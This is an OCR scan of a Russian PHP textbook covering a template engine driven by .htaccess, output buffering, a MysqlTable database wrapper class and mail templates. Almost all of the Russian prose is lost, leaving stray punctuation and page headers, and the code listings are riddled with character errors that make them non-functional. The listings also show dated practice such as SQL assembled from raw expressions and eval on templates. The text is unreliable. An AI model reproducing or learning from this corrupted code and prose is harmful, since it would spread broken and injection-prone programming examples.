HomeSite Allaire), , ,
"". , FTP, "" , , . , " " .
--
"" ( ),
. , , .
~^)
, ,
, . ,
header- footer-.
"" . ,
Unix. , ,
(
).
?
,
(, ).
, ? : .
" " . ? : - . ,
? .
, , .
"" "". , . . , . , . : ,
? . . -
434
V.
, , , , "",
. , , ,
.
, , " "
. ,
. "" , ,
.
.
, ?
, !
, "" :
29, , . "" , .
, . , , , ,
. ( ).
, , .
(text)
footer header. , "" "", ,
. : ""
, , "" "". : . ,
!
?
30.10.
30.
435
He <?Block("Output"?>. .
, ""
, .
/tempi/main, tmpl.
, Text,
?
.
,
/news/weekly/today.html. , , ""
"" today.html, /news/weekly. ,
.
,
, .
, "" :
;
,
.
, . ,
HTML-.
( -, ). , , .
15 . 699
V.
436
, ( ), . , (. 30.10).
B l k ( ) ( , ) , . ,
"" .
, .
?
<?!"") ?>. 30.11.
I 30.11. : /phil/index.html
<?Block("Title","[]")?>
<?Block("Text")?>
. ,
,
, .
.
<?Block("Cite")?>
, , . ,
, ,
.
30.11 ,
. Block , Title.
,
. , Block ,
,
, .
. , , , ,
. , , .
, , . ,
- 30.11, .
30.
437
, ,
. ,
Template, . , , header
footer? , .
, , / p h i i / index. html, 30.11, Title, Text cite.
. , , ,
, /phii /.
. , ,
, .
, /phii Title, ,
, weekly. index.html
Title. ? :
. , , , .
, .
, ,
.
, ,
.
.
, ""
. ,
.
, .
? , , .
( Windows) . ,
.
.htaccess. Apache
"" <?Biock( . . . ) ? > ,
438
V.
t . ,
, , , . 30.12
.htaccess, .
! 30.12. : / .htaccess
tt<?Inc("templ")?>
#<?Block("DefaultGlue", " | " ) ? >
#<?Block("Template","default. tmpl") ?>
#<?Block("Title"," ")?>
# .
Action templhandler "/php/TemplateHandler.php?"
# "" .
AddHandler templhandler .html .htm
,
Apache,
,
HTML-. : 29
,
.
^
, , , , ,
Block ( ) . , "" . , :
include, , ,
, . , : ,
, . ,
- ...
Template.. , ,
. , , Template - ,
.
, , ?
30.
439
.
output. , . output
, ( ).
" "
"" "", , , -
"
",
"".
Title. , , , :
;
, , | /;
, ,
, .
,
. . , [], , ""
, . "-" .
"" , . , [ ] ( ), DefauitGlue (. 30.12),
|.
/phil/index.html 30.11, , T i t l e
"" . ,
Title :
<?Block("Title","[]")?>
. Load , ,
, .
( , -
V.
440
Load ( ) ) , (
).
. , ,
, , . Load ( ) .htaccess. , , ,
.
, .
Load {) . , . . in ( ) ,
, , 30.12. : ,
. Load , , .
, , . . , ""
. , .
-,
(. ).
, ,
"" . , . HTML- , ,
. , , (
, , ).
,
. , ,
, .
!
30.
44?
,
. :
, . , ,
,
.
"" , HTML , ( ) .
, , , .
, , ?!
, , ,
uses ( ) .
Uses () .
,
. Uses () , ,
. . ( , , usesMulti ()),
.
Uses () , include,
include_once. .
. ,
. ,
- , ,
, , .
Apache
, .
,
, 29.
30.13. : TemplateHandler. php
// ,
442
V.
/I , Apache.
$FileName=strtr(
FILE ,"\\","/") ;
$ReqName=ereg_Replace("\\?.*","",strtr(getenv("REQUEST_URI"),"\\","/"));
if(eregi(quotemeta($ReqName),$FileName)) {
// .
include "TemplateHandler.err";
// .
$f=fopen("TemplateHandler.log","a+"};
fputs($f,date("d.m.Y H:i.s")." $REMOTE_ADDR - Access deniedXn");
fclose($f);
// .
exit;
//
// .
Sputenv("REQUEST_URI=".
$GLOBALS["HTTP_ENV_VARS"]["REQUEST_URI"]=
$GLOBALS["REQUESTJJRI"]=
getenv("QUERY_STRING")
);
@putenv("QUERY_STRING=".
$GLOBALS["HTTP_ENV_VARS"]["QUERY_STRING"]=
$GLOBALS["QUERYJ3TRING"]=
ereg Replace (" [?] *\\?", "",-getenv ("QUERY STRING")}
parse_str($QUERY_STRING);
// .
$INC[l=getcwd();
include "Librarian.phi";'
// .
chdir(dirname($SCRIPT_FILENAME));
// .
Uses("Template");
// .
echo RunUrl($SCRIPT NAME);
30.
443
, ,
Template. phi. , . Runuri - "" , (
) . output, .
30.14 .
| 30.14. : Template .phi
// ,
define ("DefGlue", " I ");
//
def ine ("Htaccess_Name", " .htaccess") ; // .htaccess-
// ""
def ine ("BlkTemplate", "template") ; //
def ine ("BlkOutput", "output") ;
//
def ine ("BlkDefGlue", "defaultglue") ; // ""
//
$GLOBALS [ "BLOCK" ]=array ( } ;
//
$GLOBALS["BLOCK_INC"]=array() ;
// $INC
// : -
// -,
// ,
// . , ,
// (, ,
// ) . :
//
$GLOBALS ["BLOCKFILTERS"]=array (
"_FBlkTabs",
"_FBlkGlue"
//*** -
444
V.
// . .
function Blk($name)
{
// URL .
// URL (
// ) .
function Inc($url)
{
global $CURBLOCK_ORL,$SCRIPT_NAME;
$CurUrl=$CURBLOCK_URL; if(!$CurUrl) $CurUrl=$SCRIPT_NAME;
// , , .
// , ,
// $name. $value,
// $value, .
// ,
// .htaccess. ,
// , ,
/ / -. ,
// ,
// ( , Block () .
function Block (Sname=false, $value=false)
{
//
static $CurBlock=false; //
// ,
if ($name!==false) $name=strtolower (trim($name) ) ;
// . ,
// Block (). ,
// , ,
// ( ) .
if($Handled) {
// ?
if ($CurBlock!==false) {
30.
__
445
// .
$BLOCK[$CurBlock]=trim(ob_get_contents () ) ;
// ( .htaccess) ,
// , .
if (@$bSingleLine) $BLOCK[$CurBlock]=
//
ob_end__clean ( ) ; $Handled=0 ;
}
// ( ) ,
// , ,
// , (. LoadO).
if ($name!==false) {
//
ob_start ( ) ; $Handled=l ;
// , ,
// . ,
// , - $name, ,
// ,
// .
if ($value===false) {
$CurBlock=$name ;
} else {
// . ,
// (
// ).
_ProcessContent ($name, $value, $CURBLOCK_URL) ;
$BLOCK [ $name ] =$value ;
$CurBlock=false;
// URL $name ,
// , . $name
// URL,
446
V.
// SINC ( ,
// ). $name ,
// , .htaccess,
/ / .
// , ,
function Load($name)
{
global $BLOCK,$bSingleLine,$CURBLOCK_URL,$BLOCK_INC;
// $INC
AbsolutizelNCO ;
// , $BLOCK_INC
$fname=false;
if($name[0]!='/') {
//
foreach($BLOCK_INC as $v) {
$fname=Ur!2Path("$v/$name"); //
if(file_exists($fname)) { $name="$v/$name"; break; }
}
// , $fname ===false
} else {
// URL -
$fname=Url2Path($name);
}
// , URL.
// ,
if($fname===false || !file_exists($fname)}
die("Couldn't open \"$name\"!");
// - , .htaccess
$Single=false;
if(@is_dir($fname)} {
$name=glue_path($name,Htaccess^Name);
$fname=glue_path($fname,Htaccess_Name);
$Single=l;
}
// ( ,
//
.htaccess, ),
// . , .htaccess-a.
if(!file_exists($fname)) return;
// .
// , ( ),
30.
447
II .
$PrevSingle=$bSingleLine; $bSingleLine=@$Single;
$SaveDir=getcwd(); chdir(dirname($fname));
$SaveCBU=$CURBLOCK_URL; $CURBLOCK_URL=$name;
// ,
// (, .htaccess-e
// ).
// _PreBlockText.
Block("_PreBlockText");
//
foreach($GLOBALS as $k=>$v) if(!@Isset($$k)) global $$k;
// .
include $fname;
// , ( ).
//
// .
Block();
if (@$php_errormsg && ereg ('"parse", $php__errormsg) )
echo "<b>Warning:</b> $php_errormsg at $fname, ".
"line ??? - thanks PHP developers <nobr>:-(</nobr>";
chdir($SaveDir);
$CURBLOCK_URL=$ SaveCBU;
$bSingleLine=$PrevSingle;
}
// . $url
/ / Output.
// ( , ).
function RunUrl($url)
{
global $BLOCK;
//
_CollectBlocks($url);
// .
// , ,
// . - .
// Output.
$tmpl=@$BLOCK[BlkTemplate];
if(!$tmpl) {
die("Cannot find the template for <b>$url</b> ".
448
V.
}
Load($tmpl) ;
// Output
if (!isSet($BLOCK[BlkOutput] ) ) {
die ("No output from template <b>$tmpl</b> ".
"(have you defined <tt>" .BlkOutput . "</tt> block?)");
}
return $BLOCK [BlkOutput ];
// .
// , $url,
// .htaccess- .
function _CollectBlocks ($url)
{
global $BLOCK;
$url=abs_path($url,dirname($GLOBALS["SCRIPT_NAME"] ) ) ;
// - /, .
if (strlen ($url) >1) _CollectBlocks (dirname ($url) ) ;
//
Load($url) ;
// .
function _ProcessContent ($name, S$cont, $url)
{
foreach($GLOBALS["BLOCKFILTERS"] as $F)
$F($name,$cont,$url) ;
//*** "" .
// [name] ,
// , "" ,
// , -
// name. name
// ( , []), DefaultGlue,
/ / , - " | ".
function _FBlkGlue ($name, &$cont, $url)
{
global $BLOCK;
if (('"\[ ( ] ]}*]", $cont, $P) ) {
$c=substr ($cont, strlen ($P[0] ) ) ; // [name]
30.
449
$=$[1];
//
// ""?
if (! empty ($BLOCK[$name] )) {
$glue=@$BLOCK[$n] ;
if ( !lsset($glue) ) $glue=@$BLOCK[BlkDefGlue] ;
if ( ! Isset ($glue) ) $glue=DefGlue;
$cont=$BLOCK[$name] . $glue.$c;
}
// - .
else $cont=$c;
//*** .
// HTML- .
// , ,
// , .
// < ?foreach($Book as $k=>$v) {? >
//
<tr>
//
<td>< ?=$Book [ ' name ' ] ? ></td>
//
<td>< ?=$Book[ 'text' ] ? ></td>
//
</tr>
// < ?}? >
""
30.14
, .
ob_ ( Output Buffering ).
"" , echo, a
, PHP- <? ?>,
.
4. , - .
450
V.
, .
void ob_start()
, ""
. , ,
echo
, , .
,
ob_get_contents .
o b _ s t a r t ( ) , .
s t r i n g ob_get_contents()
,
.
ob_get contents . ( ) , (,
), .
, ,
false. , , .
void ob end clean(}
.
, o b _ s t a r t o , ( ). ,
,
ob_get_content ( ) . .
ob_end_ciean ( ) o b _ s t a r t o .
void ob_end flush()
ob_end_ciean(), , , ,
. , ,
.
"" . , -
30.
451
ob_start ( ) ? , , , -,
.
, .
ob_end_ciean() , "" (,
). :
| 30.15. ""
ob_start ( ) ; // 1
echo "1"// 1-
ob_start(); // 1
echo "2";
// 2
$A[2]=ob_get_contents () ; //
ob_end_clean ( ) ;
echo "1";
// 2
// 1
$A[l]=ob_get_contents ( > ; //
ob_end_clean ( ) ; // . . ,
// ,
foreach($A as $i=>$t) echo "$i: $t<br>";
// :
// 2: 2
// 1: 11
, - :
, . , . , - , "" ob_end_clean ( )
, " ",
. , , .
, , , . , -
452
V.
, , , ( ) . , , .
.
"". , o b _ s t a r t ( ) ,. . , . , 30.15
$ [ 2 ] ,
1, , "
", . :
, , ! ,
, , .
,
"" .
. ,
, - , . , , :
, , , .
31
-
10 -
(), , . . , ( , ,
C++ 98- , Java Delphi)
, 80-
.
- ,
, "" .
, ,
,
. :
" ", ( Unix, Apache, Perl, ) "-" . ,
. ,
, ...
, ,
. , : ,
,
. ,
- : ,
- . , .
, . , . ,
C++.
454
V.
. . , ... (
)
. ( ], . , int . "" ( ),
(, , . .).
C++ , , int
. : (, . .) . , ,
C++ (
int), .
, + , Add ( ) , .
. , .
:
class MyName {
)
, ,
. ,
new:
$0bj = new MyName;
, .
( , ,
) .
,
- . , MySQL,
31.
455
, $TabieName.
, , - $TabieName .
,
.
: "" (
), "" , ( ).
,
. :
, .
, ,
.
var:
var SpNamel, $pname2, . . . ;
, .
var ,
, .
,
- (, SObj, ). ->:
// Namel $0bj
echo $Obj->Namel;
//
$Obj->Name2="PHP Four";
- (, Subobj)
( ), "":
// Property -
// $SuDOb;j SOb]
echo SObj->SubObj->Property;
,
. , $obj
, .
456
V.
- ,
, .
,
. .
() , .
,
? , , ? ?..
,
, ( ) - (). ,
MySQL, ,
. Drop ( ) ,
.
:
$Obj->Drop(); // $0bj !
, , , .
, Add ( ) ,
, select ( , )
,
. .
MySQL
, . .
, :
class MyClass (
function Method()
31.
_ 457
MySQL. , : ?
MySQL?
, .
, ( ,
. . ).
-, : - MySQL
, , , . ? ,
, "". , , , .
-? ,
. -. , . - ,
- Error.
, (, )
, .
:
class MysqlTable (
var $TableName; //
var $Fields; // . ,
var $Error; //
, , . (, ) .
- ( , ) -.
( 31.1).
^
.
"" . , , , ,
, .
I 31.1.
class MysqlTable {
var $TableName; //
458
V.
, , . , . . , ,
MySQL ( ,
, ).
, ,
MysqiTabie, , MySQL
SQL, , MysqiTabie,
, SQL.
, (
) ,
, "".
: - ,
, , , .
. , SQL -
, . . SQL, -
.
31.
459
, " " ,
, , . , , :
$0bjl=new Mysqltable;
$Obj2=new MysqlTable;
echo $Objl->TableName, " ", $Obj2->TableName;
, . , , - :
$Objl->Drop() ;
, , ,
, " ". ,
$obji, $obj2. Drop ( ) :
class MysqlTable (
function Drop ()
{ , Drop ( )
-
460
V.
/ /
mysql_query("drop table ".$this->TableName);
.
:
$obj=&$ArrayOfObjects["obj"]; $obj->Do!t();
He & (
), Doit ()
, , , $obj!
,
$obji $obj2 .
,
. , , , , :
"" - MySQL;
;
Fields;
.
, , init :
class MysqlTable {
31.
461
I / - $TblName
function Init (STblName)
{ $this->TableName=$TblName;
$this->Error=0;
$this->Fields
}
}
$0bj=new MysqlTable; $Obj->Init ("test") ;
.
test, PHP
. ,
-, .
. , (, ).
, , , " " -- ,
. , - "" , , . , ,
- , , , .
462
V.
.
. .
,
. , , , , ,
. ,
"" ,
. . :
class A {
function TestAO ( . . . }
function Test() { ... }
}
class {
var $a; //
function (__, _)
f $a=new (_ );
}
function TestBO { ... }
: . "" , . "", , , , .
, ,
, . ""? :
, , ,
.
.
, , .
" " $ o b j - > a - > T e s t A ( ) ,
$obj->TestB ( ) . , , , -
31. -
463
. ,
.
, .
. , ( ) .
class extends A (
function (__, _)
{ $(:->(__) ;
}
function TestB() { ... }
extends ,
"" , .
, , , , "".
" " , . ,
$obj $ o b j - > T e s t A ( ) $ o b j - > T e s t B ( ) . ,
, , , " ". :
, , .
(
: , . , .
? ,
Mysql- Guestbook (
). , Guestbook ,
, MysqiTabie, MysqiTabie:
class Guestbook extends MysqiTabie {
, MysqiTabie
464
V.
( , , , , , z). , .
() , ,
. ,
,
, , , .
.
class A {
// ,
function Test () { echo "Test fromA\n"; }
// Test
function Call() { Test (); }
}
class extends A {
// Test()
function Test () { echo "Test from B\n"; }
}
$a=new A();
$b=new ();
:
$a->Call(); // "Test from A"
$b->Test.(); // "Test from "
$b->Call(); // ! "Test from "!
: ,
Test () , ! , Test Test .
. , , .
, , ""
, , , ,
. , ,
, , . .
Draw , .
-, , ( -
31. -
465
-). ,
, . , , , ,
Draw ( ) "", .
MysqiTabie, - ,
. .
, , ,
.
MysqiTabie . , Guestbook, , MysqiTabie
"" -- ,
,
( ""
). ,
MySQL-, ,
"" -- , HTML- . . ,
.
MysqiTabie
p r e M o d i f y O , , . , Guestbook
, . ,
MysqiTabie "", PreModifyO
,
PreModif ( ) , ( ).
, ,
. ,
. , , - .
,
.
MySQL
, V , ( ) .
"" ,
. ,
MySQL,
,
SQL-. , , -
466
V.
,
. , ,
, , . ,
. .
. , . , , , .
( ). ,
, . . ,
, "" .
/
" ", . . .
/ . , , ( SQL).
id, . .
,
: , , , , . , ,
, , .
(,
).
GetinfoO s e t i n f o t ) . , ( " " ).
(
MySQL ). ,
, . , , .
,
. -
31.
467
, ""
"". ,
,
- ,
. "" ,
, ,
die ( ) . ,
MysqiTabie.
, - ... 31.2 ,
. , MySQL
.
! 31.2. MySQL-
//
//
//
//
// (" ")
define ("DataField", " data ") ;
//******************* *****^
// ,
function Def0(S$st,$def) { if(!isSet($st)[I$st=="") $st=$def; }
// .
function Apostrophe(&$st)
{ $st=str_replace(chr(0),"\\0",$st) ;
$st=ereg_replace("\\\\","\\\\",$st);
$st=ereg_replace('"","\\'",$st);
return $st;
}
// .
function SqlPack(&$obj) { $s=Serialize($obj); return Apostrophs(Ss); }
// ,
function SqlUnpack(&$st) { return Unserialize($st); }
!63. 699
468
V.
/I*** .
//
//
//
//
, ,
, - id (
) _ data _ (
) . ,
// -
// ( "select") ,
//
// / .
class MysqlTable {
/ /***
var $TableName;
//
var $UniqVars;
// (=1, =1 . . . )
var $Index;
// (=1, =1 . . . )
var $Fields;
// (=, =. . .)
var $Error;
// {"", )
var $JustCreated; // 1, ,
//***
// , ,
// .
function _PackFields(&$Hash).
{ $Data=array ( ) ;
foreach($Hash as $k=>$v) if ($k!=DataField)
if (lisSet ($this->Fields[$k] ) ) $Data[$k] =$v;
return Serialize ($Data) ;
//
// ( ) . ,
// ""
// (, )
// .
// , , -
// SDN, " ",
// ".. " .
// 0, .
function PreModify (&$Rec) ( return 1; }
31. -
469
// ,
// . ,
// "" .
// ,
// STM- "..", "
// ",
function PostSelect(&$Rec) { return; }
//
// $0rder - ( - id)
function TableSelectQuery($Expr="",$0rder="id desc")
{
$this->Error="";
if(!$Expr) $Expr="l=l";
$r=mysql_query("select * from ".$this->TableName.
" where ($Expr) and (id>l) order by $0rder");
if(!$r) { $this->Error=mysql_error(); return; }
return $r;
}
function SelectQuery($Expr="",$0rder="id desc")
{
return $this->TableSelectQuery($Expr,$Order); }
// select (,
// ) (!) .
// SelectQuery() , ,
// GetResult, . ""
// . : ,
// . , "".
// ( SelectQuery)
// - Select(),
// !
function TableGetResult($r)
{
$this->Error="";
//
if($r)
$Result=mysql_fetch_array($);
else $this->Error=4tiysql_error ( ) ;
470
V.
if(!@is_array($Result)} return;
// $Hash
$Hash=array();
foreach($this->Fields as $k=>$i)
i f ( i s S e t ( $ R e s u l t [ $ k ] ) ) $Hash[$k]=$Result[$k];
//
$Hash+=SqlUnpack($Hash[DataField]); unSet($Hash[DataField]);
$this->PostSelect($Hash);
//
return $Hash;
}
function GetResult($r) { return $this->TableGetResult($r); }
// : , GetResult
// TableGetResult(),
// MysqlTable,
// . ,
// .
// mysql__rium__rows ()
function GetNumRows($r) { return mysql_num_rows($r); }
// mysql_data_seek().
// $ "" $to,
// GetResult() ,
function DataSeek($r,$to) { return mysql_data_seek($r,$to); }
// $Name. '
//
$Fields - .
// . ,
// , ,
// . : -
// - . $Fields - ,
// , , .
// : -
// , ,
// (, ).
// : - , ,
/ / $Fields
// ,
// ( ).
31. -
471
// : $Fields ,
// , , ,
// / /
// distinct.
//
$ Index - .
// ,
// (, , ). -
// , - "" (0, ,
// )
function MysqlTable($Name,$Fields="",$Index="")
{
$this->TableName=$Name; $this->Error="";
if(is_array($Fields)) {
foreach($Fields as $k=>$v)
if(leregi("not null",$v)) $Fields[$k]=$v." not null";
$Fields=array("id"=>"int auto_increment primary key")
+$Fields+array(DataField=>"mediumblob");
}
Def0($Index,array());
//
$this->Fields=array(DataField=>"mediumblob");
$Data=$this->TableGetResult(
mysql_query("select ".DataField." from $Name where id=l")
);
// , .
// ,
// , , .
if(@is_array($Data) ) {
if(!is_array($Fields)) {
$this->Error="Couldn't create table: no fields specified";
return;
}
DefO($Data["Fields"],array());
DefO($Data["Index"],array());
//** , - . alter table.
//1. ?
$Lst=array();
foreach($Fields as $k=>$v) {
i f ( l i s S e t ( $ D a t a [ " F i e l d s " ] [ $ k ] ) ) $Lst[]="add $k $v";
else i f ( $ D a t a [ " F i e l d s " ] [ $ k ] ! = $ v ) $Lst[]="change $k $k $v";
472
V.
1/2. ?
foreach($Data["Fields"] as $k=>$v)
if(!isSet($Fields[$k])) $Lst[]="drop $k";
//3. ?
foreach($Index as $k=>Sv) if(!isSet($Data["Index"] [$k]})
$Lst[]="add index index_$k ($k".($v!=0?" ($v)":"").")";
//4. ?
foreach($Data["Index"] as $k=>$v)
if(lisSet($Index[$k])} $Lst[]="drop index index_$k";
if(count ($Lst)) {
PrintDump($Lst);
if(!mysql_query("alter table $Name ".implode($Lst,","))) {
$this->Error=mysql_error();
return;
}
$Changed=l;
}
$this->JustCreated=0;
} else {
// .
// BugFix by DM:
// Error,
// .
$this->Error="";
$Lst=array();
foreach($Fields as $k=>$v) $Lst[]="$k $v";
foreach($Index as $k=>$v)
$Lst[]="index index_$k ($k".($v!=0?" ($v)":"").")";
if(!mysql_query("create table $Name (".implode($Lst,",").")")) {
$this->Error=mysql_error();
return;
}
$this->JustCreated=l;
}
// ,
if(!empty($Changed) I I$this->JustCreated) {
$Data["Fields"]=$Fields;
$Data["Index"]=$Index;
DefO($Data["Info"],array());
$Data=SqlPack($Data);
// -
31.
473
if ($this->JustCreated) {
$Result=mysql_query ("insert into $Name (id, " .DataField. ")
}
$this->Fields=$Fields ;
$this->Index=$ Index;
// , .
//
// GetlnfoO, . ,
// , -
// - , . $Inf // .
function TableSetInfo($Inf )
(
$this->Error="";
//
$r=mysql_query ("select ".DataField." from ".
Sthis-XTableName." where id=l");
$Data=SqlPack($Data) ;
//
if ( !mysql_query ("update " . $this->TableName.
" set ".DataField. "='$Data' where id=l"))
{ $this->Error=mysql_error () ; return; }
return 1 ;
}
function Setlnfo($lnf) { return $this->TableSet!nfo (&$Inf ) ; }
// ,
// Setlnfo. , .
function TableGetlnfoO
V.
474
{
$this->Error="";
//
$r=mysql query("select * from ".$this->TableName." where id=l");
// - , GetResult Error
if(!($Data=$this->GetResult($r))) return array();
if(!@is_array($Data["Info"])) $Data ["Info"]=array();
return $Data["Info"];
}
function GetlnfoO { return $this->TableGet!nfo(); }
// . !
// !!!
function TableDrop()
{
$this->Error="";
if{!mysql_query("drop table ".$this->TableName) ) {
$this->Error=mysql_error();
return 0;
}
return 1;
}
function DropO { return $this->TableDrop(); }
// $Rec (
// ) .
// id, , ,
// ( ). 1
// , $Rec
// .
function TableAdd(&$Rec)
{
$this->Error="";
if(!$this->PreModify($Rec)) return 0;
// . .
$Rec[DataField]=$this->_PackFields($Rec);
//
$LNames=$LVals=array();
foreach($this->Fields as $name=>$type) {
$LNames[]=$name;
$LVals []="'".Apostrophs($Rec[$name] ) . '"";
31. -
$LNames=implode($LNames,", ") ;
$LVals=implode($LVals,", ") ;
unSet($Rec[DataField]);
//
if(!mysql_query("insert into ".$this->TableName.
"($LNames) values($LVals)")}
{ $this->Error=mysql_error() ; return 0; }
$Rec [ "id" ] =mysql__insert_id () ;
$this->PostSelect($Rec) ;
return 1;
}
$this->Error="";
if(!mysql_query("delete from ".$this->TableName.
" where ($Expr) and (id>l)"))
( $this->Error=mysql_error(); return 0; }
return 1;
}
function Delete($Expr) { return $this->TableDelete($Expr); }
// ( - id, - ).
// $Num .
// PostSelectO !
function TableSelect($Expr="",$Num=100000,$Order="id desc")
{
$this->Error="";
//
$r=$this->SelectQuery($Expr,$0rder); if(!$r) return 0;
//
for($i=0,$Found=array(); $i<$Num&&($Rec=$this->GetResult($r)); $i
$Found[$Rec["id"]]=$Rec;
return SFound;
}
function Select($Expr="",$Num=100000,$Order="id desc")
return $this->TableSelect($Expr,$Num,$0rder); }
475
V.
476
//
//
//
//
//
//
//
, $Upd
, .
, .
id ( $id ,
$Upd["id"]) , !
, $Upd id ( ,
).
// $id.
// , id HE (
// , id )!
function TableUpdate(&$Upd,$id=0)
{
$this->Error="";
// $id,
if($id) $Upd["id"]=$id;
// . .
$r=$this->SelectQuery("id=".$Upd["id"]);
$Rec=$this->GetResult($r);
// , , -
//
if(!$Rec) { $this->Error="NotExists"; return 0; }
// - .
//
$Rec=$Upd+$Rec; $Upd=$Rec;
if(!$this->PreModify($Rec)) return 0;
$Rec[DataField]=$this->_PackFields($Rec) ;
//
$Lst=array();
foreach($this->Fields as $name=>$type)
$Lst[]="$name='".Apostrophs($Rec[$name])."'";
$Lst=implode($Lst,",");
//
iff!mysql_query("update ".$this->TableName.
" set $Lst where id=".$Rec["id"]))
{ $this->Error=mysql_error(); return 0; }
$this->PostSelect($Rec);
return I;
}
31.
477
// - , $.
// , .
function TableGetCount ( $Expr=" " )
{
$this->Error="";
if(!$Expr) $Expr="l=l";
$r=qnysql_query ("select count (if ( ($Expr) and (id>l) , 1,NULL) ) from ".
$this->TableName) ;
if(!$r) { $this->Error=mysql_error () ; return 0; }
$a=mysql_fetch_array ($r) ;
return $a [0] ;
}
function GetCount ($Expr="") { return $this->TableGetCount ($Expr) ; }
// $ field
// , $.
// : , $ field
// $Fields .
/ / .
// $field .
function TableGetDistinct ($field, $Expr="")
{
$this->Error="";
if(!$Expr) $Expr="l=l";
$r=mysql_query ("select distinct $field from ".
$this->TableName. " where ($Expr) and (id>l)");
// distinct HE order by! - . . .
if(!$r) { $this->Error=mysql_error () ; return 0; }
for ($Arr=array (} , $i=0, $n=mysql_num_rows ($r) ; $i<$n; $i++)
$Arr []=raysql_result ($r,$i,0) ;
return $Arr;
}
function GetDistinct ($field, $Expr="")
{ return $this->TableGetDistinct ($f ield, $Expr) ; }
}; //
( 31.3). :
(
, ) .
478
V.
\ 31.3. MysqlTabl
<?
include "Librarian.phi"; // (. 29)
Uses("MysqlTable"}; //
//
mysql_connect("localhost");
mysql_select_db("test");
//
$t=new MysqlTable("test",array("t"=>"int"));
//
$d=array("t"=>time());
$t->Add($d);
//
$Inf=$t->GetInf();
$Inf["a"]=@$lnf["a"J+l;
$Inf["b"]=@$Inf["b"]+10;
echo $Inf["a"]," ",$Inf["b"],"<br>";
$t->SetInfo($Inf);
//
$d=St->Select ;
foreach($d as $id=>$Data) {
echo "Sid: ".$Data['t']."<br>";
(, ,
), . ,
.
, , (
, ?), . , $ $=$,
$ $ --. ,
31. -
479
, ,
. , , :
$0bjl=new MysqiTabie("test");
$0bj2=$0bjl;
$Objl->Drop() ;
- sobji ,
, , $obj2
"". $obj2 - "", "
" , test,
- .
, , . ,
.
. .
, , . , ,
. , , , MysqiTabie? , . . , ""
MySQL. , , ,
, .
M y s q i T a b i e , . .
, ,
G e t i n f o O s e t i n f o t ) . G e t i n f o O
MySQL,
. , ""
G e t i n f o O . ,
,
? MysqiTabie Setinf ( ) .
""
MySQL, "" .
480
V.
MysqlTable ,
, .
, , , . , :
$tl=new MysqlTable ("MyT able" ) ;
function Dolt($t)
{ $t->Set!nfo ("This is the new info!");
,
, :
function
Dolt(&$t)
, .
( , ) .
, ""
( ), "" ( ). .
. , , MysqlTable ,
. ,
,
MysqlTable , -
(, ).
, .
. , -
, ,
, ,
MysqlTable. , , -
31. -
481
, , . ,
mom , .
^~~
, : , new ? : " , ,
". new
, , , .
, .
- " ",
. ,
.
, "
, ... ".
MysqlTable ""
, . , , !
4
. , III ,
(), ?.. .
( )
( 31.4):
I 31.4.
// . ,
// .
$Tables=array();
// () ,
// MySQL . ,
function SOpenTable($name,$Fields="")
( global $Tables;
if(llsset($Tables[$name]))
482
V.
$Tables[$name]=new MysqlTable($name,$Fields);
return $Tables[Sname];
// .
$ 1 = & ("") ; //
$2=& ("OtherTable") ; //
$TblEqualsTol=&OpenTable(""); // !
// $1 STblEqualsTol .
// $1 $TblEqualsTol,
// .
. .
& ( ),
, .
, ,
, , . , ,
&
, !
, , $ "" =. &, .
, ,
. , , , .
? , . ,
,
, . , (
) .
, - . ,
. , , , , .
31. -
483
"" (, +, CORBA)
, Java. C++
. ? ,
. - , , , .
, . , . , ,
. ? ,
?.. ( , , , ). ,
. ,
( , , MysqiTabie), ( ).
,
( ). ,
( )
( ),
( ). , ,
- (-), ( ),
, .
, ( ) ,
, ( ).
, "" -
- ( ). , , - ( ).
( -), (
) ( "
", ).
, ? , , . . "
, , MysqlTable, . . ,
, . , ,
"" -, .
484
V.
, ,
. ,
. , . -
. "
", ".
, : MysqiTabie , . . iMysgi, .
, KysqiTable,
, "" . , , ,
iMysqi. MysqiTabie,
Drop ( 31.5):
I 31.5. MySQL
// -,
$GLOBALS["Tables"]=array(); //
// . - .
// ,
// .
class MysqiTabie {
// . . .
function MysqiTabie($name) { echo "MysqiTabie($name)<br>"; }
function DropO { echo "Drop()<br>"; }
}
// -
class IMysqi {
var $id; // (MysqiTabie) $Tables
// $name.
// ,
// , .
function IMysqi($name)
{ global $Tables;
$this->id=$name;
// $name ,
if(!isset($Tables[$name])) $Tables[$name]=new MysqiTabie($name);
//
31, -
485
// .
function Drop() { $obj=S$GLOBALS['Tables'][$this->id]; $obj->Drop(); }
}
//
$m=new IMysql("TestTable"); //
$m=new IMysql("TestTable"); // !
$m->Drop(); //
^~ "
, , "". , IMysql .
"" , , ,
IMysql . , , , . , "-", , ...
, , -,
,
. , IMysql, ,
"" . .
-: - (,
MysqlTabieimpi ), - ,
IMysql.
, -
, , . -
IMysql MysqlTabie,
, "" . , + Queryinterface .
(
IMysql "" MysqlTabie, !), .
, (
...), .
32
-"-^L
20
PHP-. ,
FostMaiio ""
, .
, .
-
, , ( ) . , From
, : " !".
" " -- , , . .
.
<? ?> echo
print, . :
"", -,
? , ,
(
- s t a r t o f M a i i , P o s t M a i i o ) :
: "<?=$Name?>" ?=$email?
Subject: <?=$Subject?>
-StartOfMail .
<?=$Name?>!
.
, .
3,
. , 4 : "" ( 30).
32.
487
// .
// "" $ tempi. ,
// $Vars,
// . $Vars===false,
// $GLOBALS (
// ) . $ReadFile ""
// , $templ , ,
// .
// : $Vars , . .
// ,
/ / .
function _RunTemplate ($tmpl, $ReadFile, &$Vars)
{ //
ob_start ( ) ;
// $Vars , $GLOBALS.
// -,
// , .
if ($Vars===false) $Vars=S$GLOBALS;
// .
// .
foreach($Vars as $k=>$v) $$k=&$Vars [$k] ;
// include, eval ( ) .
if ($ReadFile) { include $templ; }
else eval ( "?>$templ;<?"} ;
//
$MTResult=ob_get_contents ( ) ;
ob_end_clean ( ) ;
//
return $MTResult;
V.
488
I / "" ,
// $fname. $Vars
// ( ) .
function ExpandFile ($fname, $Vars=false)
{ return _RunTemplate ($fname, true, $Vars) ;
II "" , $tmpl.
// , , ExpandFile ()
// , .
function ExpandTemplate ($tmpl, SVars=false)
{ return _RunTemplate ($tmpl, false, $Vars) ;
""
ExpandTemplate () ExpandFile ( ) ?
ExpandTemplate ( ) ,
?
. , , include,
. eval ( ) , , . , , ExpandFile ( ) .
PostMaiio,
,
. :
From , ;
;
Content-type,
"" ;
-, .
32.2 . , ( 29). , Miriitemplate .phi.
32.
// .
define("DefaultCode","w");
// $st,
// $from $to. :
// wfindows]
// k[oi8-r]
// m[ac]
windows-1251
- koi8-r
- x-mac-cyrillic
// i[so]
- iso-8859-5
//
//
//
//
//
// .
// .
